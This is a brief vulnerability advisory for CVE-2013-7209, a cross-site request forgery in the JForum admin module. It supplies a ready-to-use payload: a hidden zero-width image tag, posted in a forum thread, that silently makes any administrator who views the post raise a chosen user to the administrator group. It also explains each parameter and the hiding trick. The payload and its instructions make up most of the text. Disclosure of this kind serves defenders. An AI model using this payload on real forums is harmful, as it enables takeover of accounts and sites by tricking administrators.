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JForum Cross Site Request Forgery

Posted on 26 December 2013

Version : All

Vulnerability : Cross-site request forgery

Problem type : remote

CVE ID : CVE-2013-7209

Jforum Admin module, modify user permissions module exists crsf Vulnerability,use the following code into jforum forum posts, as long as this administrators is opened this post, the permissions of user with id 12696 will be Escalated to the group with id 2 permissions,default group with id 2 is administrator group.

Code:

<img src=http://www.target.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2 width=0 />

Code Description:

http://www.target.com/forum/ jforum forum address,

12696 for the user id

2 group id

width=0 is used to hide pic

It was discovered by arno @dbappsecurity.com.cn

 

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